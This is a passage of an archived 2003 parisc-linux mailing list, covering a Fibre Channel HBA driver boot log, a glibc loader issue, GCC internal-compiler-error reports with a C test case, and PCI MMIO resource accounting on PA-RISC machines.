Allocating 129024 for 576 Exchanges @ 00000000355e0000
Allocating 112904 for LinkQ @ 00000000355c0000 (576 elements)
Allocating 106504 for TachSEST for 512 Exchanges
  cpqfcTS: writing IMQ BASE 7580000h    PI 7584000h
  cpqfcTS: SEST 000000004be80000(virt): Wrote base 75A0000h @
fffffffffa040140
cpqfcTS: NVRAM read failed
 WARNING! HBA NVRAM WWN read failed - make alias
  WWN 51044F1044556677
  Waiting for broken Brocade switch...
 scsi_register allocating 6640 bytes for FC HBA
  HBA found!
  HostAdapter->PciDev->irq = 257
  PciDev->baseaddress[0]= 0
  PciDev->baseaddress[1]= 20200
  PciDev->baseaddress[2]= 20300
  PciDev->baseaddress[3]= fffffffffa041000
  cpqfcHBAdata->fcChip.Registers. :
    IOBaseL = 20200
    IOBaseU = 20300
 ioremap'd Membase: fffffffffa041000
    SFQconsumerIndex.address = fffffffffa041058
    ERQproducerIndex.address = fffffffffa041008
    TYconfig.address = fffffffffa041184
    FMconfig.address = fffffffffa0411c0
    FMcontrol.address = fffffffffa0411c4
  Requesting 255 I/O addresses @ 20200
  Requesting 255 I/O addresses @ 20300
 ResetTachyon
  HBA Tachyon RevId 2.2
Allocating 129024 for 576 Exchanges @ 000000004be60000
Allocating 112904 for LinkQ @ 000000004be40000 (576 elements)
Allocating 106504 for TachSEST for 512 Exchanges
  cpqfcTS: writing IMQ BASE 7800000h    PI 7804000h
  cpqfcTS: SEST 000000004be20000(virt): Wrote base 7820000h @
fffffffffa041140
cpqfcTS: NVRAM read failed
 WARNING! HBA NVRAM WWN read failed - make alias
  WWN 510450E844556677
  Waiting for broken Brocade switch...
scsi6 : Agilent FC HBA, Tachyon XL2 HPFC-5200B/2.2: WWN 51044F1044556677
 on PCI bus 33 device 0x1028 irq 256 IObaseL 0x20000, MEMBASE 0xfa040000
PCI bus width 64 bits, bus speed 66 MHz
FCP-SCSI Driver v2.1.1
GBIC detected: Unknown.  LPSM 0h Monitor
scsi7 : Agilent FC HBA, Tachyon XL2 HPFC-5200B/2.2: WWN 510450E844556677
 on PCI bus 33 device 0x1028 irq 257 IObaseL 0x20200, MEMBASE 0xfa041000
PCI bus width 64 bits, bus speed 66 MHz
FCP-SCSI Driver v2.1.1
GBIC detected: Short-wave.  LPSM 0h Monitor
gsyprf11:~#

The "NVRAM read failed" msg seems to be a problem still.
Fixing that would be a next step. The GBIC detection is the
next problem that would need work. Looks like a timing problem
since the first GBIC was not detected and the second one was.

grant


From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /lib/ld.so.1 (glibc) issues on 2.5 kernel??
Date: 17 Mar 2003 09:50:59 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <1047919859.14507.21.camel@beavis.ybsoft.com>
References: <1047917954.14507.15.camel@beavis.ybsoft.com>
	 <20030317163206.GE28607@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622295 23012 80.91.229.3 (22 Nov 2014 02:11:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 09:51:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8164A4873
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 09:51:00 -0700 (MST)
Original-Received: from beavis.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id C1F742B101; Mon, 17 Mar 2003 09:50:59 -0700 (MST)
In-Reply-To: <20030317163206.GE28607@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17965

Good call willy!


> Hmm.  Back in 2.4, we had an RGH_HACK in fs/binfmt_elf.c which (iirc)
> was introduced to stop this error.  I'm not sure we ever tracked down the
> problem this was solving, but we thought it'd gone away with recent glibc.
> 
> I guess not.  I'm reluctant to bring the RGH_HACK forwards... but if
> someone did, it might help track down where this problem really is.

#undef the RGH_FIX in fs/binfmt_elf.c produces the same behaviour
on 2.4 as well.

Hopefully this will give someone a hint on the real problem.

Thanks!

- Ryan

-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jason@gcc.gnu.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++/10091: [3.3 regression] [parisc] ICE in cp_expr_size, at cp/cp-lang.c:307
Followup-To: gmane.linux.debian.devel.gcc
Date: 17 Mar 2003 18:41:17 -0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20030317184117.23661.qmail__8206.03982215307$1416622295$gmane$org@sources.redhat.com>
Reply-To: jason@gcc.gnu.org, debian-gcc@lists.debian.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, jason@gcc.gnu.org,
	nobody@gcc.gnu.org, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, gcc-gnats@gcc.gnu.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622295 23015 80.91.229.3 (22 Nov 2014 02:11:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:35 +0000 (UTC)
To: debian-gcc@lists.debian.org, gcc-bugs@gcc.gnu.org,
	gcc-prs@gcc.gnu.org, jason@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 11:41:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 09AA2482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 11:41:19 -0700 (MST)
Original-Received: (qmail 23662 invoked by uid 48); 17 Mar 2003 18:41:17 -0000
X-Mailer: gnatsweb 2.9.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17966

Synopsis: [3.3 regression] [parisc] ICE in cp_expr_size, at cp/cp-lang.c:307

Responsible-Changed-From-To: unassigned->jason
Responsible-Changed-By: jason
Responsible-Changed-When: Mon Mar 17 18:41:17 2003
Responsible-Changed-Why:
    got it

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10091


From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jason@gcc.gnu.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++/10091: [3.3 regression] [parisc] ICE in cp_expr_size, at cp/cp-lang.c:307
Followup-To: gmane.linux.debian.devel.gcc
Date: 17 Mar 2003 23:33:58 -0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20030317233358.13120.qmail__44463.4358319037$1416622296$gmane$org@sources.redhat.com>
Reply-To: jason@gcc.gnu.org, debian-gcc@lists.debian.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, jason@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	gcc-gnats@gcc.gnu.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622296 23017 80.91.229.3 (22 Nov 2014 02:11:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:36 +0000 (UTC)
To: debian-gcc@lists.debian.org, gcc-bugs@gcc.gnu.org,
	gcc-prs@gcc.gnu.org, jason@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 16:34:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 3EFA64838
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 16:34:00 -0700 (MST)
Original-Received: (qmail 13121 invoked by uid 48); 17 Mar 2003 23:33:58 -0000
X-Mailer: gnatsweb 2.9.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17967

Synopsis: [3.3 regression] [parisc] ICE in cp_expr_size, at cp/cp-lang.c:307

State-Changed-From-To: open->analyzed
State-Changed-By: jason
State-Changed-When: Mon Mar 17 23:33:58 2003
State-Changed-Why:
    The problem is that the #pragma pack means that _GEIdx::addr
    might not have the usual alignment of an ftn_addr, so we
    can't just take the address of current.addr in order to bind
    it to a reference.  expand_expr knows this, and tries to
    make a bitwise copy and take the address of that.  But since
    ftn_addr has a copy constructor, we can't make bitwise
    copies, so we abort.
    
    Now, in your particular testcase ftn_golded_nodelist_index::current
    does in fact have enough alignment for a ftn_addr, so we'd
    be OK just using the address of current.addr (it would be
    different if either of the latter two classes began with,
    say, a char field).  But the backend doesn't currently track
    alignment info from enclosing classes, so we are conservative
    and fail.
    
    We used to err in the other direction: taking the address of
    a packed field would lose any information about it possibly
    having less alignment, and things trying to use the resulting
    pointer could get a bus error.  See g++.dg/other/packed1.C.

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10091


From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jason@gcc.gnu.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++/10091: [3.3 regression] [parisc] ICE in cp_expr_size, at cp/cp-lang.c:307
Followup-To: gmane.linux.debian.devel.gcc
Date: 18 Mar 2003 04:37:24 -0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20030318043724.6836.qmail__2718.7371779748$1416622296$gmane$org@sources.redhat.com>
Reply-To: jason@gcc.gnu.org, debian-gcc@lists.debian.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, jason@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	gcc-gnats@gcc.gnu.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622296 23019 80.91.229.3 (22 Nov 2014 02:11:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:36 +0000 (UTC)
To: debian-gcc@lists.debian.org, gcc-bugs@gcc.gnu.org,
	gcc-prs@gcc.gnu.org, jason@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 21:37:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 2461D4879
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 21:37:25 -0700 (MST)
Original-Received: (qmail 6838 invoked by uid 48); 18 Mar 2003 04:37:24 -0000
X-Mailer: gnatsweb 2.9.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17968

Synopsis: [3.3 regression] [parisc] ICE in cp_expr_size, at cp/cp-lang.c:307

State-Changed-From-To: analyzed->closed
State-Changed-By: jason
State-Changed-When: Tue Mar 18 04:37:24 2003
State-Changed-Why:
    OK, I was wrong; the backend does track alignment info, the
    problem was the frontend tacking on a INDIRECT_REF/NOP_EXPR/ADDR_EXPR
    sequence between the COMPONENT_REFs.  Fixed.

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10091


From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [3.3 regression] [parisc-linux] ICE when building lesstif1 at -O1/O2
Date: Mon, 17 Mar 2003 21:34:40 -0800
Lines: 100
Approved: news@gmane.org
Message-ID: <20030318053440.GO26139__40204.8797499903$1416622296$gmane$org@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622296 23027 80.91.229.3 (22 Nov 2014 02:11:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org, debian-gcc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 22:38:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D693487C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 22:38:14 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 7438ECD294; Mon, 17 Mar 2003 21:34:40 -0800 (PST)
Content-Disposition: inline
X-send-pr-version: 3.113
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17969

>Submitter-Id:	net
>Originator:	Randolph Chung <tausq@debian.org>
>Organization:	Debian
>Confidential:	no
>Synopsis:	[3.3 regression] [parisc-linux] ICE when building lesstif1 at -O1/O2
>Severity:	serious
>Priority:	medium
>Category:	optimization
>Class:		ice-on-legal-code
>Release:	3.3 20030309 (Debian prerelease) (Debian testing/unstable)
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64

	<machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
>Description:
Test program below is extracted from lesstif1 (v0.93.36). 
Compiles fine without -O, but with -O1 or -O2 it aborts. The code 
compiles fine with gcc-3.2.3

bash-2.05b# gcc -O1 -v -c bug.c
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3 20030309 (Debian prerelease)
 /usr/lib/gcc-lib/hppa-linux/3.3/cc1 -quiet -v -D__GNUC__=3 -D__GNUC_MINOR__=3 -D__GNUC_PATCHLEVEL__=0 bug.c -quiet -dumpbase bug.c -auxbase bug -O1 -version -o /tmp/ccrpBE2v.s
GNU C version 3.3 20030309 (Debian prerelease) (hppa-linux)
        compiled by GNU C version 3.3 20030309 (Debian prerelease).
GGC heuristics: --param ggc-min-expand=30 --param ggc-min-heapsize=4096
ignoring nonexistent directory "/usr/hppa-linux/include"
#include "..." search starts here:
#include <...> search starts here:
 /usr/local/include
 /usr/lib/gcc-lib/hppa-linux/3.3/include
 /usr/include
End of search list.
bug.c: In function `get_modifier_mapping':
bug.c:44: internal compiler error: Aborted
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.


>How-To-Repeat:
	gcc -O1 -c bug.c

------- 8< bug.c 8<------
typedef struct {
	int max_keypermod;
} XModifierKeymap;

#define XK_Meta_L               0xFFE7  /* Left meta */
#define XK_Meta_R               0xFFE8  /* Right meta */
#define XK_Alt_L                0xFFE9  /* Left alt */
#define XK_Alt_R                0xFFEA  /* Right alt */
#define Mod1Mask            (1<<3)

unsigned int blah(void);

static int
get_modifier_mapping(void *Dsp)
{
    XModifierKeymap *mk;
    unsigned int ModifierKeysym;
    int ModifierSet, SetIndex, SetSize;
    int AltMask = Mod1Mask;

    SetSize = mk->max_keypermod;

    for (ModifierSet = 0; ModifierSet < 8; ModifierSet++)
    {
	for (SetIndex = 0; SetIndex < SetSize; SetIndex++)
	{
	    ModifierKeysym = blah();
	    switch (ModifierKeysym)
	    {
	    case XK_Meta_L:
	    case XK_Meta_R:
		AltMask = 1L << ModifierSet;
		goto bailout;
	    case XK_Alt_L:
	    case XK_Alt_R:
		AltMask = 1L << ModifierSet;
		goto bailout;
	    }
	}
    }

  bailout:
    return AltMask;
}
------- 8< bug.c 8<------

>Fix:
	unknown


From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FWD: PCI Patches update
Date: Mon, 17 Mar 2003 23:22:33 -0700
Lines: 108
Approved: news@gmane.org
Message-ID: <20030318062233.GA21487@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622297 23030 80.91.229.3 (22 Nov 2014 02:11:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 23:22:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 5274E487C; Mon, 17 Mar 2003 23:22:33 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17970

Hi all,

I got email from Ivan Kokshaysky describing recent changes in 2.5 PCI
support and realized I should document one of the outstanding
"bugs" with PCI resource management under PARISC.

enjoy!
grant

---- Forwarded message from Grant Grundler <grundler@dsl2.external.hp.com> -----
On Mon, Mar 17, 2003 at 11:33:12PM +0300, Ivan Kokshaysky wrote:
> - windows overlapping with something else.

On parisc, this is one of the problems I've dodged.
I'm not looking for a solution right now - but if you know the
obvious answer, please tell me.  I just want to outline the problem.

The PCI controller (lba_pci.c) on newer PARISC machines can support
two MMIO ranges. The "Distributed" range is a "fixed" size and base
(1/8th of whatever the parent IO Controller (SBA) has).  The second
"Directed" Range can use any address otherwise not assigned to PCI
devices and directed to any PCI controller under the same SBA.

PARISC lba_pci.c currently only advertises Distributed ranges
and pretends Directed ranges don't exist. Things still work,
but the resource accounting in /proc/iomem is inaccurate.

Since Directed Ranges have precedence in the MMIO address routing, they
can overlap with Distributed ranges. Worse, The SBA can assign "duplicate"
MMIO address ranges by routing "unused" address space to a Directed range
under a different PCI controller.  I think both are very ugly scenarios
and will need alot of code to detect/handle properly.

Each Distributed Range is typically only 16MB in size.
Consumers of Directed Ranges are things like graphics cards or X.25
cards which want 16MB or greater in a single BAR.
Eg /proc/iomem on a C3000 running 2.4.20 says:
f0000000-f0ffffff : LBA PCI LMMIO
  f05d0000-f05d0000 : lcd_data
  f05d0008-f05d0008 : lcd_cmd
f1000000-f1ffffff : LBA PCI LMMIO
f4000000-f4ffffff : LBA PCI LMMIO
  f4007000-f4007fff : usb-ohci
  f4008000-f40083ff : tulip
  f4900000-f490007f : tulip
  f4901000-f490107f : tulip
  f4902000-f490207f : tulip
  f4903000-f490307f : tulip
f6000000-f6ffffff : LBA PCI LMMIO
  f6000000-f600ffff : tg3
fa100000-fa4fffff : stifb mmio
fb000000-fbffffff : stifb
...

In the same machine (C3000) as the above, lspci says:
...
01:04.0 PCI bridge: Digital Equipment Corporation DECchip 21152 (rev 03)
(prog-if 00 [Normal decode])
        Flags: bus master, medium devsel, latency 255
	Bus: primary=01, secondary=02, subordinate=02, sec-latency=255
	I/O behind bridge: 00003000-00003fff
	Memory behind bridge: f4900000-f49fffff
	Prefetchable memory behind bridge: 00000000f0100000-00000000f0100000
	Capabilities: <available only to root>
...
03:01.1 SCSI storage controller: LSI Logic / Symbios Logic 53c1010 66MHz Ultra3 SCSI Adapter (rev 01)
	Subsystem: Hewlett-Packard Company: Unknown device 1340
	Flags: bus master, 66Mhz, medium devsel, latency 255, IRQ 163
	I/O ports at 28000 [size=256]
	Memory at f6014000 (64-bit, non-prefetchable) [size=1K]
	Memory at f6010000 (64-bit, non-prefetchable) [size=8K]
	Expansion ROM at f6020000 [disabled] [size=128K]
	Capabilities: <available only to root>

03:03.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5703 Gigabit Ethernet (rev 02)
        Subsystem: Broadcom Corporation NetXtreme BCM5703 1000Base-T
	Flags: bus master, 66Mhz, medium devsel, latency 248, IRQ 160
	Memory at f6000000 (64-bit, non-prefetchable) [size=64K]
	Capabilities: <available only to root>

04:02.0 Display controller: Hewlett-Packard Company A4977A Visualize EG
(rev 03)
        Flags: 66Mhz, medium devsel
	Memory at fa000000 (32-bit, non-prefetchable) [size=32M]
	Expansion ROM at f7000000 [disabled] [size=64K]

[ I now see one additional bugs *sigh*: PCI-PCI bridge resources are
not properly accounted (4-port Tulip) card. I'll have to fix that. ]

sym53c8xx_2 driver is using IO port space and thus won't get reported
in /proc/iomem.

The "stifb" driver claims the upper 16MB of the 32MB BAR and it's all
routed to PCI Controller for slot 2 (PCI Bus 4). Since no other devices
share that PCI controller, I'm pretty sure the same PCI Controller also
gets 0xf100000 range. Add a second gfx card and it's gets uglier.
I watched Thomas Boegendorf have fun at LinuxTag by putting 4
similar "Vis-EG" cards in one B2600 and run xinerama. I now
wish I had captured the /proc/iomem and lspci -v output for
that one!

Anyway, I hope that was an interesting diversion.

cheers,
grant

----- End forwarded message -----


From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /lib/ld.so.1 (glibc) issues on 2.5 kernel??
Date: 18 Mar 2003 00:20:54 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <1047972053.19011.14.camel@beavis.ybsoft.com>
References: <1047917954.14507.15.camel@beavis.ybsoft.com>
	 <20030317163206.GE28607@parcelfarce.linux.theplanet.co.uk>
	 <1047919859.14507.21.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622297 23032 80.91.229.3 (22 Nov 2014 02:11:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 00:20:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4903B487C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 00:20:55 -0700 (MST)
